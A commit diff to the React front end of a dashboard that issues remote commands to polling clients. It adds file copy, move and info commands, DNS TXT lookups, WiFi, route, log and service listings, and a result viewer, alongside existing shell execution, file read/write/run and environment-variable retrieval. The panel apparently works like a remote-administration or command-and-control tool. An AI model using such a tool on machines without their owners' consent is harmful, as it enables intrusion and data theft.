Spaces:
Sleeping
Sleeping
Update src/App.tsx
Browse files- src/App.tsx +81 -6
src/App.tsx
CHANGED
|
@@ -10,7 +10,8 @@ import {
|
|
| 10 |
Play,
|
| 11 |
Wifi,
|
| 12 |
Cpu,
|
| 13 |
-
Folder
|
|
|
|
| 14 |
} from 'lucide-react';
|
| 15 |
import { cn } from './lib/utils';
|
| 16 |
|
|
@@ -455,6 +456,59 @@ function DeployTab() {
|
|
| 455 |
);
|
| 456 |
}
|
| 457 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 458 |
function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
|
| 459 |
// Use state strictly tied to the category if possible, but shared state is fine.
|
| 460 |
// When category changes, reset command to default of that category.
|
|
@@ -492,15 +546,17 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 492 |
}, []);
|
| 493 |
|
| 494 |
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe';
|
| 495 |
-
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records';
|
| 496 |
const requiresPorts = command === 'port_scan';
|
| 497 |
const requiresInterval = command === 'change_poll_interval';
|
| 498 |
const requiresShell = command === 'exec_shell';
|
| 499 |
-
const requiresPath = command === 'list_directory' || command === 'read_file' || command === 'delete_file' || command === 'write_file' || command === 'run_file';
|
|
|
|
| 500 |
const requiresContent = command === 'write_file';
|
| 501 |
const requiresPid = command === 'kill_process';
|
| 502 |
|
| 503 |
const [fileContent, setFileContent] = useState('echo hello');
|
|
|
|
| 504 |
|
| 505 |
const issueCommand = async () => {
|
| 506 |
let payload: any = {};
|
|
@@ -510,6 +566,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 510 |
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
|
| 511 |
if (requiresShell) payload = { cmd: shellCmd };
|
| 512 |
if (requiresPath) payload = { path: filePath };
|
|
|
|
| 513 |
if (requiresContent) payload = { ...payload, content: fileContent };
|
| 514 |
if (requiresPid) payload = { pid: shellCmd }; // reuse shellCmd/input for PID
|
| 515 |
|
|
@@ -570,6 +627,9 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 570 |
<option value="netstat_connections">Netstat Connections</option>
|
| 571 |
<option value="ifconfig_ip">Network Interfaces (ifconfig/ipconfig)</option>
|
| 572 |
<option value="dns_mx_records">DNS MX Records</option>
|
|
|
|
|
|
|
|
|
|
| 573 |
</optgroup>
|
| 574 |
)}
|
| 575 |
{category === 'system' && (
|
|
@@ -585,6 +645,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 585 |
<option value="get_env_vars">Get Env Vars</option>
|
| 586 |
<option value="get_users">List Users</option>
|
| 587 |
<option value="get_groups">List Groups</option>
|
|
|
|
|
|
|
| 588 |
<option value="exec_shell">Exec Shell Command</option>
|
| 589 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 590 |
<option value="self_terminate">Terminate Client Process</option>
|
|
@@ -593,8 +655,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 593 |
{category === 'file' && (
|
| 594 |
<optgroup label="File Commands">
|
| 595 |
<option value="list_directory">List Directory</option>
|
|
|
|
| 596 |
<option value="read_file">Read/View File</option>
|
| 597 |
<option value="write_file">Add/Write File</option>
|
|
|
|
|
|
|
| 598 |
<option value="delete_file">Delete File</option>
|
| 599 |
<option value="run_file">Execute/Run File</option>
|
| 600 |
</optgroup>
|
|
@@ -665,6 +730,18 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 665 |
</div>
|
| 666 |
)}
|
| 667 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 668 |
{requiresContent && (
|
| 669 |
<div className="border-t border-white/5 pt-5">
|
| 670 |
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File Content</label>
|
|
@@ -728,9 +805,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 728 |
</span>
|
| 729 |
</div>
|
| 730 |
<div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
|
| 731 |
-
<
|
| 732 |
-
{JSON.stringify(report.result, null, 2)}
|
| 733 |
-
</pre>
|
| 734 |
</div>
|
| 735 |
))}
|
| 736 |
</div>
|
|
|
|
| 10 |
Play,
|
| 11 |
Wifi,
|
| 12 |
Cpu,
|
| 13 |
+
Folder,
|
| 14 |
+
FileText
|
| 15 |
} from 'lucide-react';
|
| 16 |
import { cn } from './lib/utils';
|
| 17 |
|
|
|
|
| 456 |
);
|
| 457 |
}
|
| 458 |
|
| 459 |
+
function ReportResultViewer({ report }: { report: any }) {
|
| 460 |
+
if (report.type === 'list_directory' && report.result?.files) {
|
| 461 |
+
return (
|
| 462 |
+
<div className="bg-black/40 rounded-lg p-2 border border-white/5">
|
| 463 |
+
<div className="flex items-center gap-2 mb-2 px-2 pb-2 border-b border-white/10">
|
| 464 |
+
<Folder size={14} className="text-indigo-400" />
|
| 465 |
+
<span className="text-xs font-semibold text-white">Directory Contents</span>
|
| 466 |
+
</div>
|
| 467 |
+
<div className="flex flex-col max-h-64 overflow-y-auto pr-1 nice-scrollbar">
|
| 468 |
+
{report.result.files.map((f: string, i: number) => (
|
| 469 |
+
<div key={i} className="text-xs text-slate-300 py-1.5 px-2 hover:bg-white/5 rounded flex items-center transition-colors">
|
| 470 |
+
<span className="mr-2 text-slate-500">{'>'}</span>
|
| 471 |
+
<span className="truncate">{f}</span>
|
| 472 |
+
</div>
|
| 473 |
+
))}
|
| 474 |
+
{report.result.files.length === 0 && <span className="text-xs text-slate-500 italic p-2">Empty directory</span>}
|
| 475 |
+
</div>
|
| 476 |
+
</div>
|
| 477 |
+
);
|
| 478 |
+
} else if (report.type === 'get_file_info' && report.result?.info !== undefined) {
|
| 479 |
+
return (
|
| 480 |
+
<div className="bg-black/40 rounded-lg p-3 border border-white/5">
|
| 481 |
+
<div className="flex items-center gap-2 mb-2 pb-2 border-b border-white/10">
|
| 482 |
+
<FileText size={14} className="text-indigo-400" />
|
| 483 |
+
<span className="text-xs font-semibold text-white">File Information</span>
|
| 484 |
+
</div>
|
| 485 |
+
<div className="grid grid-cols-2 gap-2 text-xs">
|
| 486 |
+
<div className="text-slate-400">Size: <span className="text-white font-mono">{report.result.info.size} bytes</span></div>
|
| 487 |
+
<div className="text-slate-400">Mode: <span className="text-white font-mono">{report.result.info.mode}</span></div>
|
| 488 |
+
<div className="text-slate-400">Modified: <span className="text-white">{new Date(report.result.info.mtimeMs || report.result.info.mtime * 1000 || Date.now()).toLocaleString()}</span></div>
|
| 489 |
+
</div>
|
| 490 |
+
</div>
|
| 491 |
+
);
|
| 492 |
+
} else if (report.type === 'read_file' && report.result?.content !== undefined) {
|
| 493 |
+
return (
|
| 494 |
+
<div className="bg-black/40 rounded-lg border border-white/5 overflow-hidden">
|
| 495 |
+
<div className="bg-white/5 px-3 py-2 border-b border-white/10 flex items-center gap-2">
|
| 496 |
+
<FileText size={14} className="text-indigo-400" />
|
| 497 |
+
<span className="text-xs font-semibold text-white">File Output</span>
|
| 498 |
+
</div>
|
| 499 |
+
<pre className="text-xs text-emerald-400 p-3 overflow-x-auto whitespace-pre-wrap font-mono">
|
| 500 |
+
{report.result.content}
|
| 501 |
+
</pre>
|
| 502 |
+
</div>
|
| 503 |
+
);
|
| 504 |
+
}
|
| 505 |
+
return (
|
| 506 |
+
<pre className="text-xs text-emerald-400 bg-black/40 p-2 rounded-lg break-words whitespace-pre-wrap font-mono">
|
| 507 |
+
{JSON.stringify(report.result, null, 2)}
|
| 508 |
+
</pre>
|
| 509 |
+
);
|
| 510 |
+
}
|
| 511 |
+
|
| 512 |
function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
|
| 513 |
// Use state strictly tied to the category if possible, but shared state is fine.
|
| 514 |
// When category changes, reset command to default of that category.
|
|
|
|
| 546 |
}, []);
|
| 547 |
|
| 548 |
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe';
|
| 549 |
+
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 550 |
const requiresPorts = command === 'port_scan';
|
| 551 |
const requiresInterval = command === 'change_poll_interval';
|
| 552 |
const requiresShell = command === 'exec_shell';
|
| 553 |
+
const requiresPath = command === 'list_directory' || command === 'read_file' || command === 'delete_file' || command === 'write_file' || command === 'run_file' || command === 'copy_file' || command === 'move_file' || command === 'get_file_info';
|
| 554 |
+
const requiresDestPath = command === 'copy_file' || command === 'move_file';
|
| 555 |
const requiresContent = command === 'write_file';
|
| 556 |
const requiresPid = command === 'kill_process';
|
| 557 |
|
| 558 |
const [fileContent, setFileContent] = useState('echo hello');
|
| 559 |
+
const [destPath, setDestPath] = useState('/tmp/dest');
|
| 560 |
|
| 561 |
const issueCommand = async () => {
|
| 562 |
let payload: any = {};
|
|
|
|
| 566 |
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
|
| 567 |
if (requiresShell) payload = { cmd: shellCmd };
|
| 568 |
if (requiresPath) payload = { path: filePath };
|
| 569 |
+
if (requiresDestPath) payload = { ...payload, destPath };
|
| 570 |
if (requiresContent) payload = { ...payload, content: fileContent };
|
| 571 |
if (requiresPid) payload = { pid: shellCmd }; // reuse shellCmd/input for PID
|
| 572 |
|
|
|
|
| 627 |
<option value="netstat_connections">Netstat Connections</option>
|
| 628 |
<option value="ifconfig_ip">Network Interfaces (ifconfig/ipconfig)</option>
|
| 629 |
<option value="dns_mx_records">DNS MX Records</option>
|
| 630 |
+
<option value="dns_txt_records">DNS TXT Records</option>
|
| 631 |
+
<option value="route_table">Route Table</option>
|
| 632 |
+
<option value="wifi_networks">List WiFi Networks</option>
|
| 633 |
</optgroup>
|
| 634 |
)}
|
| 635 |
{category === 'system' && (
|
|
|
|
| 645 |
<option value="get_env_vars">Get Env Vars</option>
|
| 646 |
<option value="get_users">List Users</option>
|
| 647 |
<option value="get_groups">List Groups</option>
|
| 648 |
+
<option value="system_logs">System Logs (dmesg/syslog)</option>
|
| 649 |
+
<option value="list_services">List Services (systemctl/sc)</option>
|
| 650 |
<option value="exec_shell">Exec Shell Command</option>
|
| 651 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 652 |
<option value="self_terminate">Terminate Client Process</option>
|
|
|
|
| 655 |
{category === 'file' && (
|
| 656 |
<optgroup label="File Commands">
|
| 657 |
<option value="list_directory">List Directory</option>
|
| 658 |
+
<option value="get_file_info">Get File Info</option>
|
| 659 |
<option value="read_file">Read/View File</option>
|
| 660 |
<option value="write_file">Add/Write File</option>
|
| 661 |
+
<option value="copy_file">Copy File</option>
|
| 662 |
+
<option value="move_file">Move/Rename File</option>
|
| 663 |
<option value="delete_file">Delete File</option>
|
| 664 |
<option value="run_file">Execute/Run File</option>
|
| 665 |
</optgroup>
|
|
|
|
| 730 |
</div>
|
| 731 |
)}
|
| 732 |
|
| 733 |
+
{requiresDestPath && (
|
| 734 |
+
<div className="border-t border-white/5 pt-5">
|
| 735 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Destination Path</label>
|
| 736 |
+
<input
|
| 737 |
+
type="text"
|
| 738 |
+
value={destPath}
|
| 739 |
+
onChange={e => setDestPath(e.target.value)}
|
| 740 |
+
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
|
| 741 |
+
/>
|
| 742 |
+
</div>
|
| 743 |
+
)}
|
| 744 |
+
|
| 745 |
{requiresContent && (
|
| 746 |
<div className="border-t border-white/5 pt-5">
|
| 747 |
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File Content</label>
|
|
|
|
| 805 |
</span>
|
| 806 |
</div>
|
| 807 |
<div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
|
| 808 |
+
<ReportResultViewer report={report} />
|
|
|
|
|
|
|
| 809 |
</div>
|
| 810 |
))}
|
| 811 |
</div>
|